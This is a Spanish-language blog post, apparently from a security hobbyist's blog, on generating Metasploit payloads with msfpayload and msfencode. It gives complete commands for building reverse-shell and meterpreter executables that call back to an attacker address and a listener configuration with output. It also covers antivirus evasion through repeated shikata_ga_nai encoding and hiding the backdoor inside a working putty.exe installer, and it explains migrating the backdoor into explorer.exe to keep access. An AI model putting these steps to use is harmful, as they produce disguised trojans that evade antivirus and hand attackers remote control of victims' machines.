Payloads MetaSploit Framework
Es posible generar ficheros con diferentes tipos de extensiones (como ejecutables en windows, código en C/C++ o Ruby) para establecer procesos que posteriormente nos permitirán acceder a la consola del sistema remoto, para esto normalmente hacemos uso de la utilidad de msfpayload de metasploit, con este comando podemos establecer el puente reverso hacia nuestra maquina, de este modo cuando dicho payload se ejecute en la maquina remota se abrirá una sesión con acceso a la consola de dicha maquina. Para esto se puede hacer uso de alguno de los exploits definidos en metasploit, a continuación se procede a explicar unos de los mas populares en windows:
windows/shell_reverse_tcp
windows/shell/reverse_tcp
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
Cada uno tiene sus propias ventajas y desventajas, el primero de ellos permite crear un túnel reverso hacia la maquina del atacante desde la maquina objetivo, sin embargo para su generación usa determinadas firmas que son fáciles de detectar por algunos antivirus como AVG o Norton, por lo tanto en entornos con un nivel de seguridad medio es poco útil, el segundo tiene las mismas características del primero con la ventaja de que es mucho mas difícil de reconocer para algunos antivirus lo que nos permite realizar una explotación mucho mas limpia en un entorno real, (partiendo de la base que la mayoría de los clientes en windows tienen alguna clase de antivirus o firewall instalado que les protege de amenazas como está). El tercero y cuarto permite generar un túnel inverso hacia la máquina del atacante desde la máquina del objetivo, sin embargo a diferencia de los dos anteriores, este no retorna una consola Windows, en su lugar retorna una consola meterpreter que permite ejecutar comandos en la maquina remota y adicional a esto, habilita algunas extensiones que tienen funcionalidades adicionales tales como escalar privilegios, ejecutar un proceso de keylogger, tomar instantáneas del escritorio, usar incognito, sniffer, espia, priv, etc. (Todas estas características se documentarán en este blog en una próxima entrada).
El uso básico de msfpayload para generar un fichero ejecutable es el siguiente:
./msfpayload windows/shell_reverse_tcp LHOST=192.168.1.33 LPORT=4444 X > /tmp/exploit.exe
Con esto se generará el fichero ejecutable en la ruta especificada, posteriormente solamente basta con ejecutar un listener por medio de metasploit que se encuentre a la espera de que el cliente ejecute el fichero malicioso, una vez ejecutado se abrirá una nueva sesión en la máquina del atacante, para iniciar el listener se ejecuta lo siguiente:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.33
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.33:4444
[*] Starting the payload handler…
[*] Sending stage (749056 bytes) to 192.168.1.34
Con esto basta, solamente queda esperar a que el cliente ejecute el código malicioso.
Ahora bien, en un escenario un poco más adaptado a la realidad, tal como se ha comentado anteriormente, un objetivo probablemente tendrá un antivirus y/o firewall instalado en su máquina, lo que dificultará la correcta entrega del fichero malicioso al cliente para evadir las restricciones del antivirus instalado en el objetivo, tenemos algunas alternativas usando msfpayload y msfconsole. Cabe anotar que existen otros mecanismos que permiten que un payload sea más difícil de detectar por un antivirus, como por ejemplo usar una plantilla de código y modificar el programa de forma que el shellcode ejecutado pase desapercibido, sin embargo esta técnica será objeto de estudio en una próxima entrada de esté blog.
- uso de windows/shell/reverse_tcp: En muchos casos, si lo que necesita un atacante es una consola windows y nada más para este fin se usa este payload, ya que la mayoría de los antivirus no lo detectan, pero cual es la razón? la respuesta esta en la forma en la que esta codificado, el funcionamiento de muchos antivirus se basa en el cumplimiento de unos patrones determinados en sus bases de datos internas que determinan si el contenido de un fichero es fiable o no, cuando usamos este payload, muchos de los patrones buscados por algunos de los antivirus del mercado no detectan amenaza alguna en el fichero ejecutable ya que cumplen los patrones esperados, por este motivo no lo considera como una amenaza y permite al usuario descargarlo y ejecutarlo sin problemas, sin embargo, esto no siempre funciona, es en estos casos cuando un atacante debe unir la generación del payload con la herramienta msfencode para que el fichero resultante sea codificado y pueda pasar sin ser detectado por el antivirus. Este payload solamente es valido cuando necesitamos una “raw” windows console, sin embargo en muchas ocasiones es mucho mas interesante obtener una consola meterpreter debido las posibilidades que este nos ofrece para cargar diferentes extensiones, sin embargo el payload de meterpreter es frecuentemente fácil de detectar, por este motivo resulta una buena practica usar msfencode.
- Uso de msfencode: Permite codificar o regenerar la estructura del shellcode del fichero malicioso, es usualmente empleado con la compañía de msfpayload, un ejemplo de estas herramientas utilizadas juntas es:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 4 -t exe -o /tmp/ficheroMalicioso.exe
De esta forma una vez generado el payload con los parámetros establecidos, redirigimos la salida al comando msfencode que nos proporcionará un fichero un poco mas “dificil de detectar”, sin embargo en algunos casos aun es posible que sea detectado. La opción -c indica el numero de repeticiones que el fichero será codificado o cifrado, aunque algunos podrían pensar que entre mayor sea el numero de repeticiones, menores serán las probabilidades de detección del fichero malicioso, esto no es del todo cierto ya que en algunas ocasiones, un fichero codificado con un número menor, no es detectado por el antivirus de la maquina objetivo, mientras que el mismo fichero con un número mayor es detectado en la misma maquina objetivo.
- uso de msfenconde partiendo de la base de un fichero “confiable”:
Esta alternativa resulta ser una de las mas útiles a la hora de generar un fichero ejecutable con menor probabilidad de ser detectado, parte de la codificación de un fichero “confiable”, es decir, un instalador que de antemano sabemos que no es malicioso, como por ejemplo el instalador de internet explorer 6 (bien, ya lo sé no es un buen ejemplo, pero se capta la idea, no?), este fichero es codificado y la salida tendrá la información del payload pero en el “emboltorio” del fichero “fiable”, por ejemplo, si el atacante tuviera el instalador de putty, podríamos hacer esto:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 R | msfencode -c 4 -t exe -x putty.exe -o puttyXXX.exe
En este caso el fichero de salida llamado puttyXXX.exe será el que se distribuya al cliente, de esta forma, existen mayores probabilidades de que el antivirus de la maquina objetivo no detecte el código malicioso que hay allí infiltrado. Aunque con este mecanismo se envía un fichero que contiene la conexión, este por si mismo no realizara ninguna acción, solamente se ejecutara en el cliente y no hará “lo que se supone que debía hacer” por lo tanto, el usuario podría sospechar sobre el fichero que ha ejecutado, o en cualquier caso pensará que algo no ha funcionado como debería, otra alternativa para que dicho ejecutable “haga lo que tiene que hacer”, por ejemplo en el caso de Putty abrir la interface para realizar una conexión remota, es necesario modificar un poco el comando anterior y establecer el siguiente:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=31337 R | msfencode -t exe -o puttyGood.exe -k -x putty.exe -e x86/shikata_ga_nai -c 5
De esta forma cuando el usuario ejecute el fichero “puttyGood.exe” en su maquina se ejecutará “putty” y a su vez abrirá una consola meterpreter (o consola windows dependiendo del payload) en la maquina del atacante, sin embargo, dado que el backdoor no se encuentra ejecutándose como un servicio (tal como era el caso anterior) una vez el usuario decida cerrar el programa “puttyGood.exe” tambien se perderá la conexión meterpreter establecida, así que si el atacante hacé uso de este mecanismo, tiene que ser rápido en garantizar el acceso, para esto el primer paso que realizará el atacante será usar el comando migrate de meterpreter que le permitirá migrar el proceso del backdoor actual a un proceso existente, de esta forma cuando se cierre el programa “puttyGood.exe” no se perderá la backdoor a menos que se finalice el proceso al que se ha migrado, por este motivo es usual que el atacante intente migrar el proceso del backdoor a un proceso del sistema operativo persistente, tal como el explorer.exe
OPCIONES DE MSFPAYLOAD Y MSFENCODE PARA GENERACION DE PAYLOADS
Msfpayload es un comando muy versátil que permite la generación de múltiples tipos de payloads (no solamente ficheros ejecutables) a saber, permite la generación de payloads con formato javascript, VBA, Perl, Ruby, ddl, exe, war, etc.
La sintaxis del comando es la siguiente:
| msfpayload | less
Usage: /usr/local/bin/msfpayload [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[D]ll|[V]BA|[W]ar> Podemos usar la opción “S” para conocer los parámetros que espera un payload especificado, por ejemplo: root@adastra-VPCEB3C5E:/opt/metasploit3/msf3# msfpayload windows/meterpreter/reverse_tcp S Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager Module: payload/windows/meterpreter/reverse_tcp Version: 10394, 8998, 8984 Platform: Windows Arch: x86 Needs Admin: No Total size: 290 Rank: Normal Provided by: skape sf hdm Basic options: Name Current Setting Required Description —- ————— ——– ———– EXITFUNC process yes Exit technique: seh, thread, none, process LHOST yes The listen address LPORT 4444 yes The listen port Description: Connect back to the attacker, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged) |
Por otro lado se utiliza msfencode para ocultar el payload de posibles inspecciones por parte de un sistema antivirus instalado en la maquina objetivo, por este motivo es frecuente el uso de msfpayload junto con msfencode por medio de tuberías.
Las opciones disponibles en msfencode son:
| root@adastra-VPCEB3C5E:/opt/metasploit3/msf3# msfencode -h
Usage: /usr/local/bin/msfencode OPTIONS: -a The architecture to encode as -b The list of characters to avoid: ‘\x00\xff’ -c The number of times to encode the data -d Specify the directory in which to look for EXE templates -e The encoder to use -h Help banner -i Encode the contents of the supplied file path -k Keep template working; run payload in new thread (use with -x) -l List available encoders -m Specifies an additional module search path -n Dump encoder information -o The output file -p The platform to encode for -s The maximum size of the encoded data -t The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war -v Increase verbosity -x Specify an alternate executable template |
La opción -c es interesante debido a que es el numero de veces que el payload va a ser codificado, la opción -e permite indicar un encoder que ejecute la codificación del payload, para ver que encoders se encuentran disponibles en metasploit, simplemente basta con ejecutar el comando show encoders desde la consola de metasploit (msfconsole), la opción -o permite indicar un directorio de salida para el payload generado, la opción -t permite controlar el formato de salida que generara el encoder y la opción -x permite indicar una plantilla de ejecutable alternativa, por otro lado si se utiliza una plantilla de ejecución usando la opción -x, como se trata de un ejecutable que el usuario espera que realice alguna actividad, es aconsejable permitir que el programa haga lo que se supone que debería hacer, para esto se utiliza de la opción -k
Número de Visitas:
Twitter Adastra
- RT @kinomakino: INSEGUROS: Tips & Tricks.FIcheros,Token Kerberos, Dynamic Access Control Windows Server 2012. kinomakino.blogspot.com/2013/05/tips-t… 1 week ago
- RT @SecurityTube: [Video] Tor Based Botnets securitytube.net/video/7544 1 week ago
- WEB HACKING – Atacando DOJO Hackme Casino – Sesiones inseguras en Ruby On Rails - Parte XXIX wp.me/p1nWCG-CD 1 week ago
- RT @kinomakino: INSEGUROS: Tips & Tricks. Implementación de servidor de sesio... kinomakino.blogspot.com/2013/05/tips-t… 1 week ago
- RT @exploitdb: [local] - Linux Kernel open-time Capability file_ns_capable() Privilege Escalation: Linux Kernel open-time Cap... http://t.c… 1 week ago
- RT @kinomakino: Mi perfil Linkedin lnkd.in/nCatAv 2 weeks ago
- WEB HACKING – Atacando DOJO Hackme Casino – Controladores inseguros en Ruby OnRails - Parte XXVIII wp.me/p1nWCG-Cl 2 weeks ago
Entradas recientes
- WEB HACKING – Atacando DOJO Hackme Casino – Sesiones inseguras en Ruby On Rails – Parte XXIX
- WEB HACKING – Atacando DOJO Hacme Casino – Controladores inseguros en Ruby OnRails – Parte XXVIII
- WEB HACKING – Atacando DOJO Hacme Casino – Otras Vulnerabilidades Parte XXVII
- WEB HACKING – Atacando DOJO Hacme Casino – Vulnerabilidad CSRF Parte XXVI
- Pasando de Netcat a Cryptcat
- WEB HACKING – Atacando DOJO Vulnerabilidades SQL Injection en Hacme Casino Parte XXV
- WEB HACKING – Atacando DOJO Enumeración Hacme Casino Parte XXIV
- WEB HACKING – Vulnerabilidades en XAMPP (Continuación) – Parte XXIII
- WEB HACKING – Vulnerabilidades en XAMPP – Parte XXII
- 2 años
- W3AFRemote r01 Liberado…
- WEB HACKING – Atacando servidores web vulnerables Tomcat – Parte XXI
- WEB HACKING – Algunos Ataques directos contra servidores web Apache – Parte XX
- WEB HACKING – Ataques directos contra servidores web – Parte XIX
- WEB HACKING – Arquitecturas web vulnerables – Parte XVIII
Entradas
Calendario de Entradas
Sobre Adastra:
Soy un entusiasta de la tecnología y la seguridad informática, me siento atraído principalmente por la cultura y los fundamentos del Gray Hat Hacking.
Soy una persona afortunada de poder dedicar mi tiempo y energía en hacer lo que me apasiona, aprendiendo y compartiendo lo aprendido, he comenzado a editar entradas en este blog dado que he llegado a un punto en el que considero que mis conocimientos también pueden favorecer a otros que tengan las ganas de adquirirlos del mismo modo que lo hago yo. Así que con bastante frecuencia iré publicando entradas relacionadas con estudios y técnicas que he ido asimilando a lo largo de mis investigaciones, todas enfocadas con diferentes facetas de la informática con un énfasis especial en la seguridad.
Citando a Galileo:
"Nunca he encontrado una persona tan ignorante de la que no pueda aprender algo."
"No se puede enseñar nada a un hombre; sólo se le puede ayudar a encontrar la respuesta dentro de sí mismo".
Happy Hack!
Blogroll
Blogs Interesantes
Mensajes y Páginas Populares
- Hydra, Ataques de Fuerza Bruta
- Wireless Hacking – Descubriendo APs con SSID ocultos y evadiendo Mac Filters – Parte IV
- Conceptos Basicos de Meterpreter - MetaSploit Framework
- Comandos y Conceptos Básicos MetaSploit Framework
- Creando un "Fake" Access Point Inalámbrico
- Utilizando Reglas Libres de Snort para Detección de Amenazas y Generación de Alarmas
- Uso practico de John The Ripper
- Payloads Basicos en MetaSploit FrameWork
- Wireless Hacking – Utilizando Cowpatty y Pyrit para optimizar ataques por diccionario contra WPA/WPA2 – Parte XV
- Que es el Hacking
- WEB HACKING – Arquitecturas web vulnerables - Parte XVIII
- Preservando el Anonimato y Extendiendo su Uso – Conceptos Esenciales de TOR – Parte I
